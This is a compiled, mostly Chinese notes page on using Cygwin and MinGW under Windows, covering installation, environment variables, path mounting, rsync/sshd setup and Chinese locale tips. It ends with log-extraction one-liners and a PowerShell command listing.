MinGW - Minimalist GNU for Windows / MSYS-1.0.10.rar A native Windows port of the GNU Compiler Collection (GCC) http://www.iteye.com/topic/160930 / 那個在windows下用linux命令的軟件叫啥名字來着 http://nchc.dl.sourceforge.net/project/mingw/MSYS/Base/msys-core/msys-1.0.10/MSYS-1.0.10.exe http://dl.iteye.com/topics/download/8d5eaebd-8808-37fa-a757-7559c52fa61d
The following program versions are covered: bc-1.05 |
http://www.cygwin.cn/site/info/
· Cygwin使用指南 來源:互聯網 |
· Cygwin的安裝 來源:互聯網 |
· Cygwin介紹 來源:互聯網 |
· cygwin,在win中開發linux程序 來源:CSDN |
· Cygwin的使用方法 來源:互聯網 |
http://www.cygwin.cn/site/install/
http://www.cygwin.cn/setup.exe
http://zh.wikipedia.org/wiki/Cygwin
- Cygwin/X 是運行在Cygwin上,實現X11 的自由軟件 。
- MinGW ,將GNU的開發工具,移植到Windows。
- Services for UNIX ,微軟 出的產品,類似於Cygwin,運行速度比較好,但未來版本不會應用在桌面系統中。
- CoLinux ,運行Linux程序的另一方案,在Windows上運行自身的Linux。
使用
- 雙擊桌面的Cygwin圖標,即可啓動Cygwin裏的Bash。
- 或者,你可將C:/Cygwin/bin加到%PATH%當中,您就可以直接在cmd.exe裏面使用Linux命令了,比如less, cat, wc , wget
- 如果您有一個Bash腳本,您可以直接用C:/Cygwin/bin/bash.exe X:/scripts/Monitor.sh的形式調用。
What Is Cygwin?
Cygwin is a Linux-like environment for Windows. It consists of two parts:
- A DLL (cygwin1.dll) which acts as a Linux API emulation layer providing substantial Linux API functionality.
- A collection of tools which provide Linux look and feel.
The Cygwin DLL currently works with all recent, commercially released x86 32 bit and 64 bit versions of Windows, with the exception of Windows CE.
Note that the official support for Windows 95, Windows 98, and Windows Me will be discontinued with the next major version (1.7.0) of Cygwin.
What Isn't Cygwin?
- Cygwin is not a way to run native linux apps on Windows. You have to rebuild your application from source if you want it to run on Windows.
- Cygwin is not a way to magically make native Windows apps aware of UNIX® functionality, like signals, ptys, etc. Again, you need to build your apps from source if you want to take advantage of Cygwin functionality.
Cygwin能做什麼?
- Windows的Dos Scripts功能非常薄弱,命令行工具也非常少;如果您對Linux比較熟悉,那麼Cygwin可以幫助您在Windows下面使用強大的Bash,以 及使用數量繁多的Linux命令,通過Scripts,可以更加高效的完成系統管理工作 [站長維護的幾臺Windows服務器上都安裝有Cygwin,所有的系統維護,數據備份,SCP自動同步,都是在Cygwin下面處理的。](不可否 認,很多時候,命令行工具比圖形界面工具要方便快捷)
- 如果您剛進入Linux的世界,使用Cygwin可以讓你在Windows下面練習Linux的Bash,以及常用工具。而不需要安裝Linux,也不用擔心Windows被破壞。
怎麼安裝和使用Cygwin?
- Cygwin所有的軟件包都在互聯網上,您需要先下載一個安裝程序,根據安裝程序的提示,從互聯網上下載您需要的軟件包。
- 請點擊導航欄的「安裝」,查看整個安裝過程。
Cygwin.cn是?
- Cygwin在國外使用很廣泛,Cygwin.cn旨在推廣Cygwin在中國的普及和發展;
- Cygwin.cn是Cygwin在中國的鏡像,每天自動 同步所有的軟件包到國內,方便大家安裝;
http://baike.baidu.com/view/3968.htm
Cygwin
cygnus當初首先把gcc,gdb,gas等開發工具進行了改進,使他們能夠生成並解釋 win32的目標文件。然後,他們要把這些工具移植到windows平臺上去。一種方案是基於win32 api對這些工具的源代碼進行大幅修改,這樣做顯然需要大量工作。因此,他們採取了一種不同的方法——他們寫了一個共享庫(就是cygwin dll),把win32 api中沒有的unix風格的調用(如fork,spawn,signals,select,sockets等)封裝在裏面,也就是說,他們基於 win32 api寫了一個unix系統庫的模擬層。這樣,只要把這些工具的源代碼和這個共享庫連接到一起,就可以使用unix主機上的交叉編譯器來生成可以在 windows平臺上運行的工具集。以這些移植到windows平臺上的開發工具爲基礎,cygnus又逐步把其他的工具(幾乎不需要對源代碼進行修改, 只需要修改他們的配置腳本)軟件移植到windows上來。這樣,在windows平臺上運行bash和開發工具、用戶工具,感覺好像在unix上工作。
關於cygwin實現的更詳細描述,請參考http://cygwin.com/cygwin-ug-net/highlights.html.
簡介
Cygwin包括了一套庫,該庫在Win32系統下實現了POSIX系統調用的API;還有一套GNU開發工具集(比如GCC、GDB),這樣可以進行簡單的軟件開發;還有一些UNIX系統下的常見程序。2001年,新增了X Window System。另外還有一個名爲MinGW的庫,可以跟Windows本地的MSVCRT庫(Windows API)一起工作。MinGW佔用內存、硬盤空間都比較少,能夠鏈接到任意軟件,但它對POSIX規範的實現沒有Cygwin庫完備。
但糟糕的是,Cygwin不支持Unicode。實際上,除了當前Windows系統以及 OEM codepages(例如,一個俄語用戶,他的codepages是CP1251和CP866,而不能是KOI8-R、ISO/IEC 8859-5、UTF-8等),Cygwin對其他字符集都不支持。
Red Hat規定,Cygwin庫遵守GNU General Public License,但也可以跟符合開源定義的自由軟件鏈接。Red Hat另有價格不菲的許可協議,這樣使用Cygwin庫的專屬軟件,就可以進行再發布。
你可以通過Cygwin Mailing Lists,訂閱若干個Cygwin相關的郵件列表。
[編輯] 歷史
Cygwin始於1995年,最初作爲Cygnus工程師Steve Chamberlain的一個項目。當時Windows NT和Windows 95將COFF作爲目標代碼,而GNU已經支持x86和COFF,以及C語言庫newlib。這樣至少在理論上,可以將GCC重定向,作爲cross compiler,從而產生能在Windows上運行的可執行程序。在後來的實踐中,這很快實現了。接下來的問題是如何在Windows系統中引導編譯器,這需要對Unix的足夠模擬,以使 GNU configure的shell script可以運行,這樣就用到像bash這樣的shell,進而需要Fork和standard I/O。Windows含有類似的功能,所以Cygwin庫只需要進行翻譯調用、管理私有數據,比如文件描述符。
1996年後,由於看到cygwin可以提供Windows系統上的Cygnus嵌入式工具 (以往的方案是使用DJGPP),其他工程師也加入了進來。特別吸引人的是,Cygwin可以實現three-way cross-compile,例如可以在Sun工作站上build,如此就形成Windows-x-MIPS cross-compiler,這樣比單純在PC上編譯要快不少。1998年起,Cygnus開始將Cygwin包作爲產品來提供。
將linux程序移植到windows上的利具--cygwin
http://lfx-cool.iteye.com/blog/394839
對話 UNIX: 在 Windows 上使用 Cygwin
http://www.ibm.com/developerworks/cn/aix/library/au-spunix_cygwin/
在WINDOWS下利用Cygwin編譯LINUX程序?
http://lfx-cool.iteye.com/blog/394898
收集到的cygwin使用資料
http://feidi.iteye.com/blog/54461
cygwin使用心得
http://garydo.iteye.com/blog/214010
1.在cygwin裏訪問Windows盤
cd /cygdrive/c
cd c:
2.整合cygwin命令到Windows中
假設cygwin安裝在d:/develop/cygwin,則將d:/develop/cygwin/bin添加到系統變量PATH中(最好加 在 windows前面,這樣的話,有些相同的命令的話,是先執行cygwin的命令,而不是windows命令,比如find)
就可以直接在cmd.exe下面執行tar czvf xxx.tgz ./
基本上所有的命令都可以用了,包括ls,more,less,find,grep等。
3.使用TGZ備份
將cygwin的BIN加入到PATH
建一個BAT文件:
@echo off
d:
cd d:\website\8thmanage
tar czvf 8thmanage.tgz 8thmanage
4.Windows使用SHELL腳本
將cygwin的BIN加入到PATH
在$CYGWIN的目錄/var/下面建一腳本t.sh,注意,t.sh裏面的路徑,都是相對於$CYGWIN的,裏面需要訪問C盤的,請用/cygdrive/c/
在Windows下執行:
d:\cygwin\bin\bash d:\cygwin\var\t.sh
(可以定期執行)
5.同步Windows系統用戶
mkpasswd -l > /etc/passwd
mkgroup -l > /etc/group
如果有Domain的話,需要加上-d domainname
6.安裝系統服務
cygrunsrv
7.cygwing下使用rsync
a.安裝rsync組件
b.進入cygwin,配置服務器
vi /etc/rsyncd.conf
...screts file=/etc/tom.ipaddr.pas
配置文件,參考我寫的另外一篇rsync的文章,注意:密碼文件權限必須是0400
chmod 0400 /etc/tom.ipaddr.pas
c.啓動服務端
rsync --daemon
d.客戶端同步
在客戶端的cygwin下面,運行rsync同步,具體命令,請參考另外一篇rsync的文章。
8.cygwin下使用SSHD
a.需要安裝了cygrunsrc,openssh
b.運行ssh-host-config -y
一路回車,直到出現CYGWIN=時,輸入tty ntsec,再回車,
(或者,增加一系統環境變量CUGWIN=nesec tty)
c.已經安裝好SSHD服務到你的Windows服務中,可以直接在服務中啓動,關閉。
(cygrunsrc -S sshd或者net start sshd)
9.中文顯示
vi ~/.bashrc
# 讓ls和dir命令顯示中文和顏色
alias ls='ls --show-control-chars --color'
alias dir='dir -N --color'
# 設置爲中文環境,使提示成爲中文
export LANG="zh_CN.GBK"
# 輸出爲中文編碼
export OUTPUT_CHARSET="GBK"
~/.inputrc爲
set completion-ignore-case on
set meta-flag on
set output-meta on
set convert-meta off
cygwin.bat腳本爲:
@echo off
set MAKE_MODE=UNIX
--------------------------------
安裝
可以直接到http://www.cygwin.com下載一個安裝程序,setup.exe,這個程序只是一個安裝程序,所有的模塊將從網絡下 載安裝。或者,你可以下載一個cygwin.iso的鏡像,直接映象成光盤,再從光盤本地安裝,這樣會快很多,而且不用考慮斷線的問題。
X下的中文支持
locale支持
Cygwin的locale支持一直都有問題,好在X程序還可以使用XLOCALE。
建議還是使用zh_CN.gbk, 不要使用zh_CN.GB2312
在移植程序時需要注意不要讓程序連接libcygwin.a裏面的setlocale,而是採用libX11.a裏面的_Xsetlocale。方法是:檢查被移植程序的全部源代碼,發現
#include
就修改爲
#define X_LOCALE
#include
同時注意程序的連接庫要添加-lX11.
如果對於結果沒有把握,可以找個Dependency Walker查看程序是否連接到了cygwin1.dll裏面的setlocale,如果是,就說明有遺漏。
中文字體
PCF點陣字體
GTK1.x 和其他一些老的X程序都是用X字體,
注意必須要有編碼與locale一致的字體,比如用zh_CN.gbk就必須要由GBK編碼的字體,用zh_CN.GB2312就必須要有GB2312編碼的字體
如果使用zh_CN.GB2312,這裏有一個RedOffice面帶的點陣字體包
可以採用ttf2bdf從TTF抽取得到bdf格式,然後再用bdf2pcf得到pcf格式的字體文件。
(這裏有一個Windows版本的TTF2BDF,可以將Windows TTF字體轉換出BDF字體, 注意得到bdf後要手工編輯一下文件頭,將編碼聲明修改正確)
得
到字體之後,放到某個目錄下,執行mkfontdir生成fonts.dir,然後用xset +fp
/path/to/your/fonts將字體路徑加入即可(注意與fontconfig的配置不同,這裏路徑是不遞歸的,如果有的字體放在子目錄裏面,
子目錄也需要添加進去才行)。
TTF字體
很多新的應用程序(比如GTK2)都使用fontconfig/libxft2來顯示字體,它對TTF字體的支持比較好(X以前通過freetype, xft模塊也支持TTF字體,但對中日韓字體的支持不是太好,而且也在Cygwin下似乎也沒有這些模塊)
完全可以使用Linux下的arphic字體包. 如果沒有安裝Linux,可以到http://packages.debian.org下載相應的包,然後用7zip解壓提取出ttf文件。
得到字體文件之後,放到某個目錄之下,編輯/etc/fonts/local.conf,將字體路徑加入:
/path/to/my/ttf/fonts如果只是自己使用,可以將字體文件放到~/.fonts下,不需要修改任何配置,最多三十秒fontconfig就能夠發現這些字體了。
中文輸入法
老黃(hzhr)移植了miniChinput到Cygwin,我也移植了fcitx-1.8.5和3.0,均可以從我的網站上找到 http://www.oliwen.com/bama...
一般設置了LC_CTYPE和XMODIFIERS就可以在程序中激活輸入輸入法了(除非這個程序沒有XIM支持):
LC_CTYPE=zh_CN.gbk
XMODIFIERS="@im=Chinput"
export LC_CTYPE XMODIFIERS
對於fcitx而言,XMODIFIERS設置爲什麼都可以(但必須要設置),所以設置爲"@im=Chinput"的話chinput和fcitx都可以正常使用
VI中的 Backspace 與 Delete 按鍵異常
首先確定 $TERM的設定為cygwin
echo $TERM
若不是,請設定為
TERM = cygwin
export TERM
Backspace 與 Delete這兩個鍵正常狀況下只有一個有用。可在 $HOME/.bash_profile 任選一個來使用
stty erase '^H' //ctrl+v, ctrl+h
stty erase '^?'
Cygwin使用指南
http://feidi.iteye.com/blog/54461
Cygwin使用指南
1 引言
cygwin 是一個在windows平臺上運行的unix模擬環境,是cygnus solutions公司開發的自由軟件(該公司開發了很多好東西,著名的還有eCos,不過現已被Redhat收購)。它對於學習unix/linux操 作環境,或者從unix到windows的應用程序移植,或者進行某些特殊的開發工作,尤其是使用gnu工具集在windows上進行嵌入式系統開發,非 常有用。隨着嵌入式系統開發在國內日漸流行,越來越多的開發者對cygwin產生了興趣。本文將對其作一介紹。
2 機理
cygnus 當初首先把gcc,gdb,gas等開發工具進行了改進,使他們能夠生成並解釋win32的目標文件。然後,他們要把這些工具移植到windows平臺上 去。一種方案是基於win32 api對這些工具的源代碼進行大幅修改,這樣做顯然需要大量工作。因此,他們採取了一種不同的方法——他們寫了一個共享庫(就是cygwin dll),把win32 api中沒有的unix風格的調用(如fork,spawn,signals,select,sockets等)封裝在裏面,也就是說,他們基於 win32 api寫了一個unix系統庫的模擬層。這樣,只要把這些工具的源代碼和這個共享庫連接到一起,就可以使用unix主機上的交叉編譯器來生成可以在 windows平臺上運行的工具集。以這些移植到windows平臺上的開發工具爲基礎,cygnus又逐步把其他的工具(幾乎不需要對源代碼進行修改, 只需要修改他們的配置腳本)軟件移植到windows上來。這樣,在windows平臺上運行bash和開發工具、用戶工具,感覺好像在unix上工作。
關於cygwin實現的更詳細描述,請參考http://cygwin.com/cygwin-ug-net/highlights.html.
3 安裝設置cygwin
3.1 安裝
要安裝網絡版的cygwin,可以到http://cygwin.com,點擊"Install Cygwin Now!"。這樣會先下載一個叫做setup.exe的GUI安裝程序,用它能下載一個完整的cygwin。按照每一屏的指示可以方便的進行安裝。
3.2 環境變量
開始運行bash之前,應該設置一些環境變量。cygwin提供了一個.bat文件,裏面已經設置好了最重要的環境變量。通過它來啓動bash是最安全的辦法。這個.bat文件安裝在cygwin所在的根目錄下。 可以隨意編輯該文件。
CYGWIN變量用來針對cygwin運行時系統進行多種全局設置。開始時,可以不設置CYGWIN或者在執行bash前用類似下面的格式在dos框下把它設爲tty
C:\> set CYGWIN=tty notitle glob
PATH 變量被cygwin應用程序作爲搜索可知性文件的路徑列表。當一個cygwin進程啓動時,該變量被從windows格式(e.g. C:\WinNT\system32;C:\WinNT)轉換成unix格式(e.g., /WinNT/system32:/WinNT)。如果想在不運行bash的時候也能夠使用cygwin工具集,PATH起碼應該包含x:\cygwin \bin,其中x:\cygwin 是你的系統中的cygwin目錄。
HOME變量用來指定主目錄,推薦在執行bash前定義該變量。當 cygwin進程啓動時,該變量也被從windows格式轉換成unix格式,例如,作者的機器上HOME的值爲C:\(dos命令set HOME就可以看到他的值,set HOME=XXX可以進行設置),在bash中用echo $HOME看,其值爲/cygdrive/c.
TERM變量指定終端型態。如果美對它進行設置,它將自動設爲cygwin。
LD_LIBRARY_PATH被cygwin函數dlopen()作爲搜索.dll文件的路徑列表,該變量也被從windows格式轉換成unix格式。多數Cygwin應用程序不使用dlopen,因而不需要該變量。
3.3 改變cygwin的最大存儲容量
Cygwin 程序缺省可以分配的內存不超過384 MB(program+data)。多數情況下不需要修改這個限制。然而,如果需要更多實際或虛擬內存,應該修改註冊表的 HKEY_LOCAL_MACHINE或HKEY_CURRENT_USER區段。田家一個DWORD鍵heap_chunk_in_mb並把它的值設爲 需要的內存限制,單位是十進制MB。也可以用cygwin中的regtool完成該設置。例子如下:
regtool -i set /HKLM/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb 1024
regtool -v list /HKLM/Software/Cygnus\ Solutions/Cygwin
4 使用cygwin
這一段講一下cygwin和傳統unix系統的不同之處。
4.1 映射路徑名
4.1.1 引言
cygwin 同時支持win32和posix風格的路徑,路徑分隔符可以是正斜槓也可以是反斜槓。還支持UNC路徑名。(在網絡中,UNC是一種確定文件位置的方法, 使用這種方法用戶可以不關心存儲設備的物理位置,方便了用戶使用。在Windows操作系統,Novell Netware和其它操作系統中,都已經使用了這種規範以取代本地命名系統。在UNC中,我們不用關心文件在什麼盤(或卷)上,不用關心這個盤(或卷)所 在服務器在什麼地方。我們只要以下面格式就可以訪問文件:
\\服務器名\共享名\路徑\文件名
共享名有時也被稱爲文件所在卷或存儲設備的邏輯標識,但使用它的目的是讓用戶不必關心這些卷或存儲設備所在的物理位置。)
符合posix標準的操作系統(如linux)沒有盤符的概念。所有的絕對路徑都以一個斜槓開始,而不是盤符(如c:)。所有的文件系統都是其中的子目錄。例如,兩個硬盤,其中之一爲根,另一個可能是在/disk2路徑下。
因 爲許多unix系統上的程序假定存在單一的posix文件系統結構,所以cygwin專門維護了一個針對win32文件系統的內部posix視圖,使這些 程序可以在windows下正確運行。在某些必要的情況下,cygwin會使用這種映射來進行win32和posix路徑之間的轉換。
4.1.2 cygwin mount表
cygwin 中的mount程序用來把win32盤符和網絡共享路徑映射到cygwin的內部posix目錄樹。這是與典型unix mount程序相似的概念。對於那些對unix不熟悉而具有windows背景的的人來說,mount程序和早期的dos命令join非常相似,就是把一 個盤符作爲其他路徑的子目錄。
路徑映射信息存放在當前用戶的cygwin mount表中,這個mount table 又在windows的註冊表中。這樣,當該用戶下一次登錄進來時,這些信息又從註冊表中取出。mount 表分爲兩種,除了每個用戶特定的表,還有系統範圍的mount表,每個cygwin用戶的安裝表都繼承自系統表。系統表只能由擁有合適權限的用戶 (windows nt的管理員)修改。
當前用戶的mount表可以在註冊表"HKEY_CURRENT_USER/Software/Red Hat, Inc./Cygwin/mounts v" 下看到。系統表
存在HKEY_LOCAL_MACHINE下。
posix 根路徑/缺省指向系統分區,但是可以使用mount命令重新指向到windows文件系統中的任何路徑。cygwin從win32路徑生成posix路徑 時,總是使用mount表中最長的前綴。例如如果c:被同時安裝在/c和/,cygwin將把C:/foo/bar轉換成/c/foo/bar.
如果不加任何參數地調用mount命令,會把Cygwin當前安裝點集合全部列出。在下面的例子中,c盤是POSIX根,而d盤被映射到/d。本例中,根是一個系統範圍的安裝點,它對所有用戶都是可見的,而/d僅對當前用戶可見。
c:\> mount
f:\cygwin\bin on /usr/bin type system (binmode)
f:\cygwin\lib on /usr/lib type system (binmode)
f:\cygwin on / type system (binmode)
e:\src on /usr/src type system (binmode)
c: on /cygdrive/c type user (binmode,noumount)
e: on /cygdrive/e type user (binmode,noumount)
還可以使用mount命令增加新的安裝點,用umount刪除安裝點。
當Cygwin 不能根據已有的安裝點把某個win32路徑轉化爲posix路徑時,cygwin會自動把它轉化到一個處於缺省posix路徑/cygdrive下的的一 個安裝點. 例如,如果Cygwin 訪問Z:\foo,而Z盤當前不在安裝表內,那麼Z:\將被自動轉化成/cygdrive/Z.
可以給每個安裝點賦予特殊的屬性。自動安裝的分區顯示爲「auto」安裝。安裝點還可以選擇是"textmode"還是 "binmode",這個屬性決定了文本文件和二進制文件是否按同樣的方式處理。
4.1.3 其他路徑相關信息
cygpath工具提供了在shell腳本中進行win32-posix路徑格式轉換的能力。
HOME, PATH,和LD_LIBRARY_PATH環境變量會在cygwin進程啓動時自動被從Win32格式轉換成了POSIX格式(例如,如果存在從該win32路徑到posix路徑的安裝,會把c:\cygwin\bin轉爲/bin)。
對話 UNIX: 在 Windows 上使用 Cygwin
http://www.ibm.com/developerworks/cn/aix/library/au-spunix_cygwin/
按照行號析取access.log文本段 / 切割特定文本段 / 查找指定文本段 / 抽取指定文本段 / 篩選 指定文本段
[[email protected] ~]# cat access_log_2012-09-17-19_00_00 | gawk 'BEGIN {i=0;} {i=i+1; if((i>219)&&(i<279999)) print $0;}' > /tmp/t
按照時間戳 析取 access.log文本段 / 切割特定文本段 / 查找指定文本段 / 抽取指定文本段 / 篩選指定文本段
[[email protected] ~]# cat access_log_2012-09-17-19_00_00 | sed -n '/20:59:59/,/21:59:59/p'
或
[[email protected] ~]# cat access_log_2012-09-17-19_00_00 | sed -n "/20:59:59/,/21:59:59/p"
Windows PowerShell 基礎知識 /
打開Win7
打開cmd / dos
輸入powershell
輸入get-command | sort commandtype | out-file powershell_cmd_list.txt
打開powershell_cmd_list.txt查看命令語法並學習和使用
- CommandType Name Definition
- ----------- ---- ----------
- Alias gc Get-Content
- Alias gbp Get-PSBreakpoint
- Alias gcm Get-Command
- Alias gci Get-ChildItem
- Alias gal Get-Alias
- Alias ft Format-Table
- Alias ogv Out-GridView
- Alias nv New-Variable
- Alias fw Format-Wide
- Alias nal New-Alias
- Alias ndr New-PSDrive
- Alias mp Move-ItemProperty
- Alias mv Move-Item
- Alias ni New-Item
- Alias gdr Get-PSDrive
- Alias gcs Get-PSCallStack
- Alias nmo New-Module
- Alias nsn New-PSSession
- Alias rcjb Receive-Job
- Alias rd Remove-Item
- Alias r Invoke-History
- Alias rbp Remove-PSBreakpoint
- Alias etsn Enter-PSSession
- Alias epcsv Export-Csv
- Alias epal Export-Alias
- Alias erase Remove-Item
- Alias epsn Export-PSSession
- Alias foreach ForEach-Object
- Alias fl Format-List
- Alias oh Out-Host
- Alias popd Pop-Location
- Alias fc Format-Custom
- Alias pushd Push-Location
- Alias pwd Get-Location
- Alias exsn Exit-PSSession
- Alias ps Get-Process
- Alias gsv Get-Service
- Alias gu Get-Unique
- Alias gsn Get-PSSession
- Alias gsnp Get-PSSnapIn
- Alias gv Get-Variable
- Alias history Get-History
- Alias icm Invoke-Command
- Alias gwmi Get-WmiObject
- Alias h Get-History
- Alias gm Get-Member
- Alias gl Get-Location
- Alias gp Get-ItemProperty
- Alias gmo Get-Module
- Alias gjb Get-Job
- Alias gps Get-Process
- Alias group Group-Object
- Alias gi Get-Item
- Alias ghy Get-History
- Alias ls Get-ChildItem
- Alias man help
- Alias kill Stop-Process
- Alias lp Out-Printer
- Alias md mkdir
- Alias mount New-PSDrive
- Alias move Move-Item
- Alias measure Measure-Object
- Alias mi Move-Item
- Alias ii Invoke-Item
- Alias ipal Import-Alias
- Alias iex Invoke-Expression
- Alias ihy Invoke-History
- Alias ipcsv Import-Csv
- Alias ise powershell_ise.exe
- Alias iwmi Invoke-WMIMethod
- Alias ipmo Import-Module
- Alias ipsn Import-PSSession
- Alias rdr Remove-PSDrive
- Alias cls Clear-Host
- Alias clp Clear-ItemProperty
- Alias compare Compare-Object
- Alias clv Clear-Variable
- Alias sp Set-ItemProperty
- Alias spjb Stop-Job
- Alias cli Clear-Item
- Alias clhy Clear-History
- Alias % ForEach-Object
- Alias select Select-Object
- Alias set Set-Variable
- Alias sbp Set-PSBreakpoint
- Alias sc Set-Content
- Alias sleep Start-Sleep
- Alias sort Sort-Object
- Alias si Set-Item
- Alias sl Set-Location
- Alias spps Stop-Process
- Alias asnp Add-PSSnapIn
- Alias where Where-Object
- Alias cat Get-Content
- Alias type Get-Content
- Alias ac Add-Content
- Alias ? Where-Object
- Alias wjb Wait-Job
- Alias write Write-Output
- Alias cd Set-Location
- Alias sv Set-Variable
- Alias swmi Set-WMIInstance
- Alias spsv Stop-Service
- Alias start Start-Process
- Alias chdir Set-Location
- Alias tee Tee-Object
- Alias clear Clear-Host
- Alias clc Clear-Content
- Alias diff Compare-Object
- Alias del Remove-Item
- Alias rv Remove-Variable
- Alias dir Get-ChildItem
- Alias rjb Remove-Job
- Alias rvpa Resolve-Path
- Alias rmdir Remove-Item
- Alias rm Remove-Item
- Alias ebp Enable-PSBreakpoint
- Alias rnp Rename-ItemProperty
- Alias rni Rename-Item
- Alias rmo Remove-Module
- Alias rsnp Remove-PSSnapin
- Alias echo Write-Output
- Alias rp Remove-ItemProperty
- Alias rsn Remove-PSSession
- Alias cpi Copy-Item
- Alias cpp Copy-ItemProperty
- Alias copy Copy-Item
- Alias saps Start-Process
- Alias sal Set-Alias
- Alias sajb Start-Job
- Alias ren Rename-Item
- Alias ri Remove-Item
- Alias dbp Disable-PSBreakpoint
- Alias cp Copy-Item
- Alias rwmi Remove-WMIObject
- Alias sasv Start-Service
- Alias cvpa Convert-Path
- Function R: Set-Location R:
- Function H: Set-Location H:
- Function Y: Set-Location Y:
- Function V: Set-Location V:
- Function W: Set-Location W:
- Function more param([string[]]$paths)...
- Function U: Set-Location U:
- Function X: Set-Location X:
- Function P: Set-Location P:
- Function M: Set-Location M:
- Function L: Set-Location L:
- Function Z: Set-Location Z:
- Function S: Set-Location S:
- Function N: Set-Location N:
- Function O: Set-Location O:
- Function mkdir ...
- Function K: Set-Location K:
- Function I: Set-Location I:
- Function Q: Set-Location Q:
- Function help ...
- Function TabExpansion ...
- Function prompt $(if (test-path variable:/PSDebugContext) { '[DBG]: ' } else { '' }) + 'PS ' + $(Get-Location) + $(if ($nestedpromptlevel -ge 1) { '>>' })...
- Function J: Set-Location J:
- Function T: Set-Location T:
- Function ImportSystemModules ...
- Function Disable-PSRemoting ...
- Function G: Set-Location G:
- Function cd.. Set-Location ..
- Function Clear-Host $space = New-Object System.Management.Automation.Host.BufferCell...
- Function get-daybeijinday ([datetime] "2008-08-08" - [datetime]::now).days;
- Function F: Set-Location F:
- Function cd\ Set-Location \
- Function C: Set-Location C:
- Function D: Set-Location D:
- Function B: Set-Location B:
- Function E: Set-Location E:
- Function A: Set-Location A:
- Function Get-Verb ...
- Cmdlet Set-WSManInstance Set-WSManInstance [-ResourceURI] <Uri> [[-SelectorSet] <Hashtable>] [-ApplicationName <String>] [-ComputerName <String>] [-Dialect <Uri>] ...
- Cmdlet Set-Variable Set-Variable [-Name] <String[]> [[-Value] <Object>] [-Include <String[]>] [-Exclude <String[]>] [-Description <String>] [-Option <ScopedIt...
- Cmdlet Set-WmiInstance Set-WmiInstance [-Class] <String> [[-Arguments] <Hashtable>] [-PutType <PutType>] [-AsJob] [-Impersonation <ImpersonationLevel>] [-Authent...
- Cmdlet Set-Acl Set-Acl [-Path] <String[]> [-AclObject] <ObjectSecurity> [-Passthru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Verb...
- Cmdlet ConvertFrom-SecureString ConvertFrom-SecureString [-SecureString] <SecureString> [[-SecureKey] <SecureString>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...
- Cmdlet Send-MailMessage Send-MailMessage [-To] <String[]> [-Subject] <String> [[-Body] <String>] [[-SmtpServer] <String>] [-Attachments <String[]>] [-Bcc <String[...
- Cmdlet ConvertFrom-StringData ConvertFrom-StringData [-StringData] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-...
- Cmdlet Set-WSManQuickConfig Set-WSManQuickConfig [-UseSSL] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorV...
- Cmdlet Select-Object Select-Object [[-Property] <Object[]>] [-InputObject <PSObject>] [-ExcludeProperty <String[]>] [-ExpandProperty <String>] [-Unique] [-Last...
- Cmdlet Select-Xml Select-Xml [-XPath] <String> [-Xml] <XmlNode[]> [-Namespace <Hashtable>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...
- Cmdlet Select-String Select-String [-Pattern] <String[]> -InputObject <PSObject> [-SimpleMatch] [-CaseSensitive] [-Quiet] [-List] [-Include <String[]>] [-Exclu...
- Cmdlet Set-Alias Set-Alias [-Name] <String> [-Value] <String> [-Description <String>] [-Option <ScopedItemOptions>] [-PassThru] [-Scope <String>] [-Force] ...
- Cmdlet Set-ItemProperty Set-ItemProperty [-Path] <String[]> [-Name] <String> [-Value] <Object> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>] [-Exc...
- Cmdlet Set-Service Set-Service [-Name] <String> [-ComputerName <String[]>] [-DisplayName <String>] [-Description <String>] [-StartupType <ServiceStartMode>] ...
- Cmdlet Set-Item Set-Item [-Path] <String[]> [[-Value] <Object>] [-Force] [-PassThru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Cred...
- Cmdlet Set-PSBreakpoint Set-PSBreakpoint [-Script] <String[]> [-Line] <Int32[]> [[-Column] <Int32>] [-Action <ScriptBlock>] [-Verbose] [-Debug] [-ErrorAction <Act...
- Cmdlet Set-PSSessionConfiguration Set-PSSessionConfiguration [-Name] <String> [-ApplicationBase <String>] [-ThreadApartmentState <ApartmentState>] [-ThreadOptions <PSThread...
- Cmdlet Set-Location Set-Location [[-Path] <String>] [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...
- Cmdlet Set-ExecutionPolicy Set-ExecutionPolicy [-ExecutionPolicy] <ExecutionPolicy> [[-Scope] <ExecutionPolicyScope>] [-Force] [-Verbose] [-Debug] [-ErrorAction <Act...
- Cmdlet Set-AuthenticodeSignature Set-AuthenticodeSignature [-FilePath] <String[]> [-Certificate] <X509Certificate2> [-IncludeChain <String>] [-TimestampServer <String>] [-...
- Cmdlet Set-TraceSource Set-TraceSource [-Name] <String[]> [[-Option] <PSTraceSourceOptions>] [-ListenerOption <TraceOptions>] [-FilePath <String>] [-Force] [-Deb...
- Cmdlet Set-PSDebug Set-PSDebug [-Trace <Int32>] [-Step] [-Strict] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [...
- Cmdlet Set-StrictMode Set-StrictMode -Version <Version> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariabl...
- Cmdlet Set-Date Set-Date [-Date] <DateTime> [-DisplayHint <DisplayHintType>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...
- Cmdlet Set-Content Set-Content [-Path] <String[]> [-Value] <Object[]> [-PassThru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-C...
- Cmdlet Restart-Service Restart-Service [-Name] <String[]> [-Force] [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <Act...
- Cmdlet Restart-Computer Restart-Computer [[-ComputerName] <String[]>] [[-Credential] <PSCredential>] [-AsJob] [-Authentication <AuthenticationLevel>] [-Force] [-I...
- Cmdlet Resolve-Path Resolve-Path [-Path] <String[]> [-Relative] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...
